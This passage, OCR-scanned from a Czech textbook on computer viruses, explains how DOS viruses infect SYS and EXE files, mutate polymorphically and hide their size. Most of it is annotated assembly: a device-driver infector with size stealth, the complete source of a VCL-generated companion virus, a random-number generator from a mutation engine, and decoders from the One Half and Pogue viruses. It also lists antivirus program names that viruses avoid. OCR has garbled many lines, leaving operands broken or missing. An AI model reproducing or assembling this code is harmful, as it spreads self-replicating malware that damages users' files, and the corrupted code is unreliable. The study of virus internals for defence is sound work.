cmp word ptr [si], ax ; test, Jje-1i to soubor SYS/ 7Sy~
jnz bombout ; neni, konec...
cmp byte ptr [si + 2], al ; test, je-1i to soubor SYS/ ”S”
jnz bombout ; neni, konec...
stosw ; kopirovani pripony - ”SY”
stosb ; kopirovani pripony - ”S”
; Kopirovani ukonCujiciho znaku ASCIIZ retézce
mov al, O
stosb ; AL -> ES:DI
Prenastaveni registri
push ds
pop es ; ES:BX ukazuje na DTA
push cs
pop ds ; DS = segment viru
xchg di, bx ; ES:DI ukazuje na DTA
Nac¢teni Gvodni ¢asti zdhlavi ovladace
call open ; (AL stale obsahuje 0)
jc bombout ; konec, doSlo-11i k chybé...
mov ah, 3fh : sluzba ”Cti ze souboru”
mov cx, 2 ; prvni 2 B
lea dx, [bp + buffer] ; ze zahlavi ovladace
int 21h
mov ah, 3eh ; sluzba ”Zavri soubor”
int 21h
; Test, zda jiZz je soubor zavirovén
InfectSYS:
inc word ptr cs:[bp + buffer] ; neni-1i roven ffffh (-1)
Jjz continueSYS ; pak pokracCovani v infikaci

Neobsahuje-li ukazatel na dalsi ovlada¢ hodnotu -1, je jiz tento soubor pokladdn za za-
virovany. Tato metoda predpoklddd obecni fakt, Ze drtiva vétsina souborti obsahuje
pouze jeden ovladaé, a tudiz hodnota ukazatele v zahlavi je témér vzdy rovna -1. Virus
pak pFi své infikaci priddva do souboru vlastné dalsi ovladac, ¢imz pfepisuje tuto hod-
notu na offset poc¢atku viru.
; Soubor jiz je infikovan
alreadyinfected:
Stealth mechanismus nezavirované délky souboru

sub es:[di + 29], heap - header ; pouziva prikaz 7dir”
sbb word ptr es:[di + 311, 0 ; neni nutné - Timit 64 kB
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Pro soubory *.SYS plati podobn{) omezujici limit velikosti jako v pFipadé soubort *.COM.

Obnova vSech registrd a ukonCeni preruSeni
bombout:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
pop bp
iret

Zavirovani souboru
continueSYS:
Zkopirovani hlavicky infikovaného souboru pro Upravy

push ds

pop es ; ES = DS (nastaveni pro “movsb™)
lea si, [bp + offset header] ; odkud

lea di, [bp + offset bigbuffer] ; kam

mov cx, offset endheader - offset header ; délka

rep movshb ; DS:ST -> ES:DI

Prepocet adres ridiciho a provadéciho podprogramu
mov cx, cs:[bp + filesize] ; velikost souboru

Nova adresa ridiciho podprogramu a zdapis do zdhlavi
add cx, offset _strategy - offset header
mov word ptr [bp + bigbuffer + 6], cx

Novd adresa provadéciho podprogramu a zdapis do zahlavi
add cx, offset _interrupt - offset _strategy
mov word ptr cs:[bp + bigbuffer + 8], cx

Pokracovani infikace
continueinfection:
7jisténi atributl souboru

mov ax, 4300h ; sluzba “Atributy souboru”

lea dx, [bp + filenamel ; Jméno souboru

int 21h

push cx ; Uschova atributl do zasobniku

push dx ; Uschova jména souboru do zasobniku
Vlastni nastaveni atributd souboru

mov ax, 4301h ; sluZzba “Atributy souboru”

XOr Cx, CXx

lea dx, [bp + filenamel ; Jméno souboru

int 21h
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Otevreni souboru pro Cteni a zapis
call openreadwrite

Uschova origindlniho €asu vytvoreni

mov ax,
int 21h
push cx
push dx

Zapis
mov ah,
mov Cx,
lea dx,
int 21h

5700h : sluzba ”Cas a datum souboru”

Uschova ¢asu na zasobnik
; Uschova data na zdasobnik

nové hodnoty ukazatele na néasledujici ovladac

40h ; sluZzba ”Zapis do souboru”
2 poCet bajtu
[bp + filesize] ; ukazatel = délka souboru

Ukazatel na dalsi ovladaé je presmérovan na ptivodni konec infikovaného souboru, kam
virus zkopiruje své télo.

Nastaveni pozice na konec souboru

mov ax,
X0r Ccx,
cwd

int 21h

Zapis
mov ah,
mov CXx,
lea dx,
int 21h

Zapis
mov ah,
mov CXx,
lea dx,
int 21h

4202h ; sluzba ”Nastav pozici souboru”
CX ; na konec
totéz jako ”xor dx, dx”

virového zdhlavi do infikovaného ovladace

40h ; sluzba ”Zapis do souboru”
offset endheader - offset header ; poCet bajtu
[bp + bigbuffer] ; adresa bufferu zdhlavi

zbylého téla viru

40h ; sluZzba ”Zapis do souboru”
offset heap - offset endheader ; pocCet bajtl

[bp + endheader] ; pocCatek téla viru

Obnova ¢asu vytvoreni souboru

mov ax,
pop dx
pop CXx
int 21h

5701h : sluzba ”Cas a datum souboru”
; obnova data ze zasobniku
obnova ¢asu ze zasobniku

Uzavreni souboru

mov ah,
int 21h

3eh ; sluZzba ”Zavri soubor”

; Obnova plvodnich atributd souboru

mov ax,
pop dx
pop €x
int 21h

4301h ; sluzba “Atributy souboru”

obnova jména souboru ze zasobniku
; obnova atributl ze zdsobniku
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jmp bombout ; skok na konec obsluhy preruseni

Vlastni otevreni souboru
openreadwrite:

mov al, 2 ; pro “read/write” mod
open: ; ndvésti pro “read” mod

mov ah, 3dh ; sluzba ”0Otevri soubor”

lea dx, [bp + filenamel ; Jméno souboru

int 21h

xchg ax, bx ; rukojet souboru do BX

ret

Oblast proménnych viru

heap:

savebx dw ? ; adresa pozadavku ovladace

savees dw ? ; (pro ridici podprogram)

buffer db 2 dup (?) ; ukazatel na dalsi ovladac

filename db 13 dup (?) ; jméno souboru

filesize dw velikost souboru

bigbuffer db offset endheader - offset header dup (?) ; celé zdhlavi
ovladace

endheap:

end header

Uvedeny SYS-virus vyuziva zfetézeni dvou ovladact v jednom souboru a provadi jednoduchy
stealth mechanismus maskovéni velikosti souboru. Rezidentné obsluhuje pteruseni Dosu (int
21h) a hlida volani sluzeb 11h a 12h ,Najdi prvni/dalsi soubor ptes FCB*“. Po provedeni origi-
nalni obsluhy pferuseni virus zjisti, zda nalezeny soubor mé ptiponu SYS. V kladném piipadé
se pak nalezeny soubor stava teréem infikace.

Souborové viry, které infikuji ovladale zatizeni, provadéji vétsinou svoji Cinnost rovnéz
v kombinaci s infikaci soubortt *.COM a * .EXE.

Naprosto unikatni zptisob infikace SYS souboru pouziva bootovaci virus Zaraza, kterg napa-
da jadro operaéniho systému MS-DOS - soubor I0.SYS. Virus nejprve vytvoii v kofenovém ad-
resafi zalozni kopii souboru 10.SYS majici stejné jméno. Pak nakopiruje své télo na pocatek ori-
ginlniho souboru 10.SYS. Zaroven s tim vSak u tohoto souboru nastavi atribut ,,volume label”
(navésti disku), ¢imz zajisti, Ze v budoucnosti nedojde k problémim plynoucich z totoZnosti jmen
dvou souborl ve stejném adreséfi. Atribut ,volume label® ¢ini soubor v tomto pfipadé pro MS-
DOS neviditelngm, je ignorovan dokonce i pfi zavedeni operaniho systému, kdy dochéazi k vlast-
ni aktivaci viru. Virus ma zajisténo skryté umisténi svého téla, protoZe operaéni systém vidi pou-
ze duplicitni nezavirovanou kopii. Ve své podstaté jde o vyjimetny stealth mechanismus
nerezidentniho typu. Zaraza vyuziva atribut ,,volume label“ i pro rozpoznani své pfitomnosti
na pevném disku. Diskety jiz infikuje bézngm zplisobem jako jiné bootovaci viry.

Vsechny ukazky souborovgch virli typu COM, EXE a SYS predstavuji zakladni moznosti vi-
rovych infiltraci. Pochopitelnég, Ze terem infikace mohou byt i dalsi doplikové souborové vari-
anty, zejména davkové soubory *.BAT ¢&i prekryvné moduly *.OVL.
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4.5. Konstrukce souborového duplicitniho viru

Zpusob replikace duplicitniho viru je naprosto odlisng neZ v pfipadé popisovanych souborovich
variant vira COM, EXE a SYS. Infikovany program * EXE je naprosto nedotéen, vytvoten je
pouze novy virovy soubor stejného jména s priponou COM.

Duplicitni viry vyuZivaji nedokumentované preruseni int 2eh, které provadi ptikaz Dosu spe-
cifikovang adresou DS:SI. Pfikaz méa definovany tvar: délka_znakt_pfikazu, ,vlastni_pfikaz*,
<CR>. Pferuseni umozuje spustit originalni program EXE a poté se znovu vrétit do téla viru.
Pted jeho volanim je nutné mit k dispozici dostatek paméti a po jeho ukonéeni mit na paméti,
Ze hodnota registrli je nedefinovana. Totéz plati i pro registry zasobniku SS a SP, takze virus
se musi postarat o jejich restauraci.

Pro pfiklad byl vybran jednoduchy duplicitni virus vytvofeny pomoci generatoru VCL. Virus
ma nerezidentni povahu, pfi své aktivaci infikuje prvni nalezeny soubor *.EXE v daném pracov-
nim adreséfi. Pro pfedstavu jsou zachovéany originalni anglické komentéfe k jednotlivgm pfika-
zim.

UNTITLED.ASM

Created with Nowhere Man’s Virus Creation Laboratory v1.00
Written by Unknown User

virus_type equ 2 ; Spawning Virus

is_encrypted equ 0 ; We’re not encrypted

tsr_virus equ O ; We’re not TSR

code segment byte public

assume cs:code,ds:code,es:code,ss:code

org 100h

start label near

main proc  near
mov ah, 04Ah ; DOS resize memory function
mov bx, (finish - start) / 16 + 0272h ; BX holds # of para.
int 021h
mov sp, (finish - start) + 01100h ; Change top of stack
mov si, offset spawn_name ; SI points to true filename
int 02Eh ; DOS execution back-door
push ax ; Save return value for later

[ tento duplicitni virus patfi k ¢etngm pfipadim vyskytu chyb v kédu viru. Tvarce viru zjevné
zapomnél na to, Ze pfi provadéni originalniho EXE-tvaru mize dojit ke zméné adresy DTA, a Ze
by ji mél na tomto misté nastavit zpét. Uvedena chyba zplUsobuje neptedvidatelné nasledky
zavislé na okamzitém stavu operaéniho systému. SkuteCnost, Ze se jedna o produkt virového
generéatoru, umoziujici masovou virobu vadnych virtl, toto nebezpedi jesté zesiluje.

mov ah, 1lah ; nastaveni adresy
push cs ; DTA zpét

pop ds ; na hodnotu

mov dx, 80h ; PSP:80h

int 21h ; (pro COM program plati PSP = (CS)
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mov ax, CS ; AX holds code segment
mov ds, ax ; Restore data segment
mov es, ax ; Restore extra segment
call search_files ; Find and infect a file
pop ax ; AL holds return value
mov ah, 04Ch ; DOS terminate function
int 021h
main endp
search_files proc near
mov ah, 04Eh ; DOS find first file function
mov cx, 00100111b ; CX holds all file attributes
mov dx,offset exe_mask ; DX points to "*.EXE”
int 021h
jc done_searching ; If none found then exit
call infect_file ; Infect the file!
done_searching:
ret ; Return to caller
exe_mask db "* EXE”, O ; Mask for all .EXE files
search_files endp
infect_file proc near
mov ah, 02Fh ; DOS get DTA address function
int 021h
mov di, Dbx ; DI points to the DTA
lea si, [di + 01Eh] ; SI points to file name
mov dx, Si ; DX points to file name, too
mov di, offset spawn_name + 1 ; DI points to new name
xor ah, ah ; AH holds character count
transfer_loop:
lodsh ; Load a character
or al,al ; Is it a NULL?
je transfer_end ; If so then leave the Toop
inc ah ; Add one to the character count
stosh ; Save the byte in the buffer
jmp short transfer_loop ; Repeat the Toop
transfer_end:
mov byte ptr [spawn_name], ah ; First byte holds char. count
mov byte ptr [di], 13 ; Make CR the final character
mov di, dx ; DI points to file name
xor ch, ch ;
mov cl, ah ; CX holds length of filename
mov al, ‘.’ ; AL holds char. to search for
repne scash ; Search for a dot in the name
mov word ptr [di], ‘0C’ ; Store 7C0” as first two bytes
mov byte ptr [di + 2], ‘M’ ; Store ”M” to make “COM”
mov byte ptr [set_carryl, 0 ; Assume we’ 11 fail
mov ax, 03D0O0h ; DOS open file function, r/o
int 021h
jnc infection_done ; File already exists, so leave

mov byte ptr [set_carry], 1 ; Success -- the file is 0K
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mov ah, 03Ch

mov cx, 00100011b

int 021h

xchg bx, ax

mov ah, 040h

mov cx, finish - start
mov dx, offset start
int 021h

mov ah, O03Eh

int 021h

infection_done:

cmp byte ptr [set_carry], 1
ret

spawn_name db 12, 12 dup (?), 13
set_carry db ?
infect_fileendp
vcl_marker db “[vVCL]”, O
finish label near
code ends
end main

s
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DOS create file function
CX holds file attributes

BX holds file handle

DOS write to file function
CX holds virus Tlength

DX points to start of virus

DOS close file function
Set carry flag if failed
Return to caller

Name for next spawn
Set-carry-on-exit flag

VCL creation marker

4.6. Konstrukce polymorfnich virG

Polymorfni viry jsou bezesporu nejpfitazlivéjsi skupinou virt. Kéd, ktery je schopen pokazdé ji-
nym zplsobem vygenerovat své télo, jiz podvédomé budi zvédavost a nabizi myslenkovou pa-
ralelu s viry biologickymi. [ polymorfni virus je v3ak stadle pouhym programem, ktery pracuje
tak, jak byl programéatorem sestaven.

dva zé&kladni druhy kédovacich mechanismu:

Reverzibilni algoritmus
Kodér i dekodér je integrovan do jednoho mechanismu, pouzitelného pro oba Gcely. Rever-
zibilita byva nejcastéji dosaZzena pomoci logické operace xor. Reverzibilni algoritmus je v{-
hradné pouzivan viry semi-polymorfnimi, jejichz kédovani je velice primitivni a stoji na hie-
rarchickém stupni vjvoje pod viry plné polymorfnimi.

Nereverzibilni algoritmus
Nereverzibilni mechanismus méa separatné oddéleny kodér i dekodér. Kodovani je tvofeno
zejména postupnym a pokazdé jingm skladanim vypoctu, které neumoznuje identické pouzi-
ti pro dekddovani.

Jadrem polymorfnich virti je algoritmus kédovactho a dekddovaciho mechanismu. Existuji

Oba druhy koédovacich mechanismt byvaji v téle viru prokladany nevyznamnymi instrukce-

mi, které slouZi zejména pro znesnadnéni detekce viru antivirovgmi programy, ale také pro pfi-
padné zajisténi proménné délky viru.
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Nezbytnou soucasti polymorfnich virti je generator pseudonédhodnych &isel, kterg je viry vy-
uzivan pro nahodng vibér pouziti registrii, mechanismu kédovani apod. Generovani pseudona-
hodngych &isel byva rtizné, od pfimého pouziti hodnot aktualniho ¢asu az po rekurentni vipoé-
ty, pouzivajici systémovy ¢asovac.

V redlném svété se polymorfni viry vyskytuji téméf vihradné v podobé viri souborovych.
Bootovaci podoba polymorfnich virt je velice vzacna (napf. virus Zaraza), coz je déno zejména
tim, Ze bootovaci viry maji pro své maskovani dostatek pfilezitosti pfi zavadéni operaéniho sy-
stému, kdy mohou vyuZivat pfimé stealth techniky.

4.6.1. Princip implementace polymorfismu

Virovgy polymorfismus je zaloZen na dvou zakladnich principech instrukéniho souboru mikropro-
cesort fady INTEL, pouzivangch v poéitacich PC. Vechny instrukce procesoru maji definovanou
masku s parametrickym bitovgm polem, které upfesiyje pracovni operandy. Polymorfni viry vy-
uZivaji pravé tuto podobnost, jez jim zaru€uje stejna maska pro instrukce podobného vjznamu.

¢ P¥ima podobnost instrukci
Pfima podobnost vyuziva sousednosti instrukci v instrukénim souboru. Nap¥. hexadecimélni
hodnotou b8 zacina sekce instrukci napliujici 16bitovy registr pfimym operandem:

b8h ... mov ax, ”primy operand”
b9h ... mov cx, “primy operand”
pah ... mov dx, ”primy operand”
bbh ... mov bx, ”primy operand”
bch ... mov sp, ”primy operand”
bdh ... mov bp, ”primy operand”
beh ... mov si, ”primy operand”
bfh ... mov di, ”primy operand”

Tuto podobnost vyuziva napt. virus One Half (podrobnéji viz dale) pro vybér dekddovaci-
ho registru. Prosty soucet hodnoty b8h a hodnoty ndhodného &isla v rozsahu 0 az 7 gene-
ruje piisludny registr. Kod bech byva viry zapovézen, nebot ukazatel na zasobnik je z pocho-
pitelngch diivodu tabu.

Casto vyuzivanou je podobnost instrukci push a pop:

50h ... push ax 58h ... pop ax
51h ... push cx 59h ... pop cx
52h ... push dx bhah ... pop dx
53h ... push bx 5bh ... pop bx
54h ... push sp bch ... pop sp
55h ... push bp 5dh ... pop bp
56h ... push si b5eh ... pop si
57h ... push di  5fh ... pop di

e Podobnost skupiny instrukci
V tomto pfipadé se jedna o vicebajtové instrukce, kdy prvni bajt specifikuje skupinu instruk-
ci (aritmetické operace, operace posuvu a rotaci apod.) a az druhy bajt uréuje samotny kod
instrukce. Druhy baijt instrukce ma definovany bitovy tvar XXYYYZZZ, kde prvni dva bity XX
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udavaji méd, prostfedni tfi bity YYY ptedstavuji pozadovanou instrukci a posledni tfi bity
777 specifikuji operand (registr ¢i pamét). Pro polymorfismus jsou dilezité zejména bity YYY
aritmetickgch operaci, jejichz kombinace predstavuiji tyto instrukce:

000 ... add
001 ... or
010 ... adc
011 ... sbb
100 ... and
101 ... sub
110 ... xor
111 ... cmp

Vymaskovani, resp. nastaveni bitlt YYY na hodnotu ndhodného &isla z intervalu O aZz 7 opét
generuje pfislusnou instrukci.

4.6.2. Generator pseudonahodnych cisel

Systémovy Cas, resp. Citac tikll Casovade 8253 patii k zakladnim zplsobum, jak mohou poly-
morfné zamé&fené viry ziskat ,n&hodnou® &selnou hodnotu. Casovaé taktuje kazdgch 55 ms
a jeho hodnota je viry zpfistupfiovana zejména ptes port 40h. Daldi moznosti je ekvivalentni
pfimé ¢éteni z proménné BIOSu na adrese 0:046¢.

Strukturu generatoru charakterizuje ukazka vybrana ze zdrojového tvaru algoritmu DAME
(Dark Angel’s Multiple Engine). Obecna podoba generatoru bgyva tvofena dvéma stéZejnimi
Castmi: pocatetni pseudonahodnou inicializaéni rutinou a rekurentnim vzorcem pro vlastni vg-
pocet pseudonadhodného é&isla.

Inicializace generatoru pseudonahodngch ¢isel

init_rnd:
push dx ; Uschova registri
push cx
push bx 5
mov ah, 2ch ; sluzba ”Cti systémovy Cas”
int 21h ; Obsazeni registrl po provedeni sluZby:
: CH ... hodiny (0 aZz 23)
; CL ... minuty (0 aZ 59)
;: DH ... sekundy (0 aZ 59)
DL ... setiny sekund (0 aZz 99)

Pro nékteré viry je generator pseudondhodnich ¢isel tvofen pouze timto volanim. Virus
Brain napt¥. pouzivd pro kédovaci xor-konstantu pouze hodnotu registru dl. Z rozsahu
setin sekund je ziejmé, Ze virus miZe vygenerovat sto riizné kédovanych tvart viro-
vého téla.

in al, 40h ; nacCteni Casovace
mov ah, al
in al, 40h ; nacteni cCasovace

X0r ax, Cx ; rozSireni na cely rozsah ¢isla integer
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xor dx, ax
Jmp short rnd_done ; skok na konec generatoru

Vigpocet pseudonédhodného d&isla

get_rnd:

push dx ; UGschova registra

push cx

push bx

in al, 40h ; naCteni Casovace

db 05h ; add ax, hodnota patchl
patchl dw 0 ; prvni rekurentni konstanta
db Obah ; mov dx, hodnota patch?

patch? dw 0 ; druha rekurentni konstanta

mov cx, 7 ; sedmiprichodova
rnd_Tloop: ; smycka

shl ax, 1 ; pro

rcl dx, 1 ; vypocet

mov bl, al ; pseudondhodného

xor bl, dh ; Cisla

jns 1bl

inc al
1b1:

loop rnd_Toop;
rnd_done: ; ukon&eni generovani

mov patchl, ax ; naplnéni

mov patch2, dx ; rekurentnich konstant

mov al, dl ; "doladéni” vysledku

pop bx ; a obnova registra

pop CX

pop dx

retn ; pseudondhodné ¢islo je v registru AX

V téle polymorfni Casti viru je pak generator volan instrukcemi ,,call init_rnd“ pro pocatecni
nastartovani generatoru a ,call get_rnd“ pro ziskani pseudonédhodného é&isla. Ziskané pseudo-
nahodné &islo je pak pro potfebu daného maximalniho rozsahu 0 az MAX ofezano instrukci
»and ax, MAX", resp. ,and al, MAX".

4.6.3. Semi-polymorfni reverzibilni algoritmus

Znaéné mnozstvi vir vyuziva primitivni semi-polymorfni techniku kédovani prosttednictvim lo-
gické operace xor, kterd umoziuje zakdédovat a odkdédovat dang Gdaj pomoci stejného Klice.

Uvedme piiklad. Necht jsou dany hexadecimalni hodnoty kédovaného bajtu |, ff* a (de)kodo-
vaciho kli¢e ,al“. Pak plati:

be ... koédovéni
ff ... deko6dovani

ff xor al
5e xor al
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Jak je vidét, po dvoji aplikaci stejného kddovaciho Kklice obdrzime vichozi bajt. U téchto virt
miiZeme nejcastéji nalézt tuto typickou posloupnost instrukci, plnici funkci dekédovaci rutiny:

mov bx ; adresa pocatku zakédovaného téla

mov dl ; (od)kdédovaci xor-konstanta

mov CXx ; délka zakdédovaného téla v bajtech
viastni_smycka:

xor cs:[bx], dl ; vlastni odkédovani

inc bx ; posun na dal$i zakddovany bajt

lToop vlastni_smycCka

Samoziejme, muize se liit pouziti nékterych registrii &i lze pfipadné dekddovat misto bajtt
slova, ale princip vzdy zlstava tentyz. Uvedena metoda je navic velice vihodna z divodu uni-
verzalnosti této rutiny jak pro kbdovani tak i pro dekédovani.

Koédovaci konstanta je pseudonahodnd, jeji moznosti byly naznaceny v ptedchozi kapitole.

MozZnosti této metody jsou silné omezené. Maximalni moznosti, jak stizit detekovatelnost anti-
virovgmi skenery, je prokladani koédu neviznamngmi instrukcemi. Ve své podstaté staticka deké-
dovaci smycka umoziiuje vyhledavat tyto viry jednoduse pomoci identifikaénich virovgch fetézcu.

Na rozdil od plné polymorfnich virl je semi-polymorfismus hojné vyuzivan i bootovacimi vi-
ry. Jednim z typickgych pfedstavitell je virus Aragon.

4.6.4. Polymorfni reverzibilni algoritmus

I pro plné polymorini viry je z programéatorského hlediska pro dosaZeni reverzibility algoritmu
nejsnazsi moznosti (a v podstaté i jedinou) pouziti logické operace xor. Virus One Half je u nas
jednim z nejznaméjsich predstavitelt této skupiny. Uvodni dekédovaci smycka je sloZena z de-
seti navésti, jez kazdé ma nasledujici strukturu:

Vykonna instrukce.

Nahodny poCet nevyznamnych instrukci pred nebo za vykonnou instrukci.
Instrukce skoku na dals$i néavésti.

[ potadi jednotlivich navésti, jez jsou umistovana do téla infikovaného programu (!) generu-
je One Half nahodné, coz uplné znemozije jeho detekci pomoci bézngch antivirovich skene-
ra. Nevyznamnymi instrukcemi jsou instrukce ,nop*, ,stc, ,clc, ,sti“, ,cs:“, ,ss:“, ,ds:“, ,cld“,
Lstd“ a ,ecmc”. Tyto instrukce nemaji vliv na vlastni béh dekodéru, slouzi pouze ke zmateni ske-
neru. Instrukce skoku jsou generovany bud’ jako ,jmp navésti“ nebo ,jmp short ndvésti®.

Jedna z podob realné mutace viru One Half infikovaného programu *.COM vypada takto:

start: ; plvodni program (virovy lapac)
jmp go
db 1536 dup (0) ; velikostni vypln (1536 = 600h)
go:
int 20h

Infikovany program, tvofeny v nasem pfipadé pouze velikostni viplni, je naveéstimi dekodé-
ru tvrdé ptepséan. Prepsané ¢asti jsou uschovany v zakdédovaném téle viru a pred pozdéjsim pie-
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danim fizeni infikovanému programu virus zajistuje jejich obnovu, takZe uZivatel za bé&znych
okolnosti nic nepozna. Tento postup navic vyfazuje z Cinnosti odvirovaci programy, pracujici
na principu univerzalniho cleanu. Lécba takto zavirovangch programt byva realizovana zejmeé-
na jednotéelovymi programy.

start: ; zavirovany tvar

jmp 1b1_5 ; skok na vstupni ndvésti dekodéru

db 542 dup (0) ; Cast infikovaného programu
1b1_1: ; vlastni dekddovani

SS:

xor [si], di ; xor [indexovaci registr], dekdédovaci registr

nop

jmp 1b1_4

db 18 dup (0) ; Cést infikovaného programu
1b1_2: ; otestovani priznaku ukonceni dekddovani

jnz 1b1_1 ; jne 1b1_1 nebo jnz 1b1_1

stc

cS:

std

jmp virus_entry ; ukonceni dekdédovdni

db 47 dup (0) ; Cést infikovaného programu
1b1_3:

pop ds ; pouze moZznost pop ds

nop

jmp 1b1_10

db 71 dup (0) ; Cast infikovaného programu
1b1_4: ; aktualizace dekdédovaci konstanty

add di, 2eefh ; add dekdédovaci registr, konstanta

Jmp short 1b1_6

db 38 dup (0) ; Cast infikovaného programu
1b1_5:

push ax ; pouze moznost push ax

stc

cld

Jmp 1b1_9

db 33 dup (0) ; Cast infikovaného programu
1b1_6: ; posun na dal$i zakddované slovo

ds:

stc
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cs:
inc si ;
jmp short 1b1_7

db 9 dup (0) ;

1b1_7: ;
cmp si, 1l4ddh ;

jmp 1bl1_2
db 142 dup (0)

1b1_8: ;
mov di, Oce3bh ;
bp, si, di

cld
sti
cld
Jmp 1b1_1

db 50 dup (0)

1b1_9:
cld
cmc
push ss ;
clc
jmp 1b1_3

db 354 dup (0)

1b1_10: ;
mov si, 705h ;
jmp 1b1_8 ’

db 164 dup (0)

Podstata, prevence, ochrana

inc indexovaci registr

¢ast infikovaného programu

test, je-1i vSe dekdédovano

cmp indexovaci registr,

offset pocatek_zakdédovaného_viru + délka viru

¢ast infikovaného programu

Gvodni naplnéni dekdédovaciho registru
vybér dekdédovaciho registru ax, bx, cx, dx,

s ohledem na kolizi s indexovacim registrem
a jeho naplnéni pocatecni dekddovaci konstantou

¢ast infikovaného programu

push c¢s nebo push ss

¢ast infikovaného programu

nastaveni pocCdtecniho mista pro dekddovani
vybér indexovaciho registru bx, si, di a jeho
naplnéni

hodnotou offset pocatek_zakddovaného_viru

¢ast infikovaného programu

Velikostni soudet db-vyplini infikovaného programu ¢&ini 1 468 bajtt, zbyljch 68 bajtt

je délka samotného dekodéru.

go:
int 20h

poCatek_zakdédovaného_viru:

zbytek infikovaného programu

Zako6dované télo viru One Half

Popis u zvgraznénych instrukci specifikuje mozné podoby vygenerovani jingch tvarti.
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PIné polymorfni mechanismus, na rozdil od semi-polymorfnich pfedchtdct, zcela odsouva
do role statisty antivirové skenery pracujici na principu virovgch identifikaénich fetézct. Klicem
k detekci polymorfnich virtl je pfedevsim heuristickd metoda analyzy kodu programu.

4.6.5. Polymorfni nereverzibilni algoritmus

Podstatou nereverzibilnich virovgch mechanismt je postupné skladani kédu, resp. plnéni hod-
not pfislusnych registra provadénim dil¢ich instrukci. Velice trefngm pfirovnénim jsou popular-
ni puzzle. Napf¥. realizovat instrukci ,,add ax, 3" je moZné nepfeberngm mnozstvim variant kom-
binaci instrukci ,inc®, ,add“, ,dec” a ,sub“:

inc ax inc ax add ax, b
inc ax nebo add ax, 1 nebo sub ax, 1 atd.
inc ax add ax, 1 sub ax, 1

Stejné tak i plnici instrukci ,,mov ax, 606h" lze realizovat zamlZujicim postupem:

mov ax, 202h : AX = 202h
mov bx, 101h ; BX = 101h
add ax, bx ; AX = 303h
shl ax, 1 ; nasobeni dvéma -> AX = 606h

Obdobnym zplisobem mohou nereverzibilné zaméfené viry modifikovat pouZiti skokovgch
instrukci prostfednictvim skoku pfes pomocna navésti, prip. instrukci cyklu ,,loop“ mohou na-
hradit posloupnosti instrukci , dec cx“ a ,jnz ndvésti_smycky“ apod. Da se ¥ici, Ze moZnosti jsou
omezeny pouze fantazii a schopnostmi virovych tvtirch.

Nereverzibilni mechanismy poskytuji i pruzngjsi prosttedky pro moznost generovani promeén-
né délky viru, nez je tomu v pfipadé algoritmu reverzibilnich.

Typickym piikladem je nereverzibilni MtE mechanismus viru Pogue, infikujici programy typu
COM:

start:
dec bp ; priznak zavirovanosti souboru
Jmp dekodér
... infikovany program

dekodér:
mov bp, 0Oaléch ; bp = alé6c
mov cl, 3
ror bp, cl bp = 942d
mov c¢x, bp
mov bp, 856eh ; bp = 856e
or bp, 740fh ; bp = fh6f
mov si, bp
mov bp, 3b92h ; bp = 3b92
add bp, si ; bp = 3101
xor bp, cx ; bp = ab2c
sub bp, 0blOch ; bp = f420
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Uvodni éast dekodéru pouze maskuje vyznamové jedinou instrukci ,mouv bp,
0f420h*“. Tato hodnota slouzi v ndsledujici smycce k bazové &asti adresy zakédovaného
téla viru.

smycCka:
mov bx, [bp + 0d23h] ; poprvé - mov bx, [0143]
add bx, 9d64h ; vlastni dekédovani
xchg [bp + 0d23h], bx ; a opétovné uloZeni zpracovaného slova

Virus rafinované vyuziva preteceni visledku souctu hodnot bp a 0d23h; nastaveni pFi-
znaku CF je v tomto pfipadé nepodstatné.

mov bx, 8f31lh

sub bx, bp ; 9b11

mov bp, 8f33h

sub bp, bx ; bp = f422 (tj. add bp, 2)
jnz smycka

Instrukce posunu algoritmu na dal$i zakédované slovo (,add bp, 2%) je opét zamaskovd-
na. Poc¢ateéni bdzovd hodnota f420h neni ndhodnd, ale je vybrdna s ohledem na pozadouva-
ny podet 1 520 iteraci, coz odpovidd, vzhledem ke slovnim operacim, velikosti 3 040 B za-
kédované Easti viru. Hodnota je ddna virazem (64 kB — f420h + 1) / 2 = 1520.

mov bx, bp
mov cl, 3
ror bx, cl

Zdvérecna cast dekodéru je slozena z neviznamnich instrukci, pomoci nichz virus do-
sahuje proménné délky svého téla. Je zajimavé sledovat, Ze neviznamniymi instrukcemi
nejsou pouze jednobajtové instrukce typu ,nop“ ¢i ,cmc®, ale podstatné komplikovanéjsi
konstrukce.

segment:0143
zakdédovand cast téla viru Pogue

4.7. Konstrukce viru stealth

Stealth viry se aktivnim zptsobem brani prozrazeni své pfitomnosti na pocéitaéi. Pro Géinnost
stealth mechanismii musi virus zajistit, aby jeho télo bylo umisténo do paméti rezidentné.
Podstatou stealth technik je monitorovani sluzeb jadra Dosu pro praci se soubory, zejména pak
sluZeb otevieni, uzavieni a spusténi souboru.

Rada virti se vwhyba infikaci antivirovich & systémovich programii. Napf. virus One Half se
vyhyba zavirovani programd, v jejichZ jméné se vyskytuji fetézce SCAN, CLEAN, FINDVIRU,
GUARD, NOD, VSAFE, MSAV a CHKDSK. Pro virus Pojer jsou tabu programy UCOM.COM,
UEXE.EXE, TNTVIRUS.EXE, CLEAN.EXE, SCAN.EXE, VSHIELD.EXE, VSHIELD1.EXE
a NETSCAN.EXE. Virus Tremor dokonce nejen, Ze nenapada program FLU-SHOT+, ale pfi
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zjisténi jeho pfitomnosti dokonce ptestane provadét svoji ¢innost. Antivirové programy maji na
zavirovani vlastniho téla velkou senzitivitu, a proto viry se fadé z nich zdmérné vyhybaiji. [ to je
jedna z moznosti, jak se viry brani svému prozrazeni.

Snahu o minimalni zménu téla objektu ttoku demonstruje multipartitni virus Starship, kterg
v tabulce rozdéleni pevného disku méni pouze tfi bajty v instrukcich pro nacteni boot sektoru
(fyzicka adresa — hlava, stopa a sektor).

o Casteény stealth mechanismus
Céstetny stealth mechanismus maskuje zavirovanou délku souboru. Virus obsazuje preruse-
ni jadra Dosu (int 21h) a monitoruje funkce otevieni nebo vyhledani souboru, kdy operaéni-
mu systému vraci délky tak, jako kdyby soubor infikovan nebyl.

virus_int21lh:

cmp ah, 0fh ; sluZzba ”0tevri soubor pres FCB”?

je stealth_open_FCB

cmp ah, 11h ; sluzba ”Najdi prvni soubor pfres FCB”?
je stealth_FCB

cmp ah, 12h ; sluzba ”Najdi dalS$i soubor pres FCB”?
je stealth_FCB

cmp ah, 4eh ; sluZzba ”Najdi prvni soubor”?

je stealth_dir

cmp ah, 4fh ; sluzba ”Najdi dal$i soubor”?

je stealth_dir

...dals1 testy...

stealth_open_FCB:
...volej origindlni obsluhu int 21h...
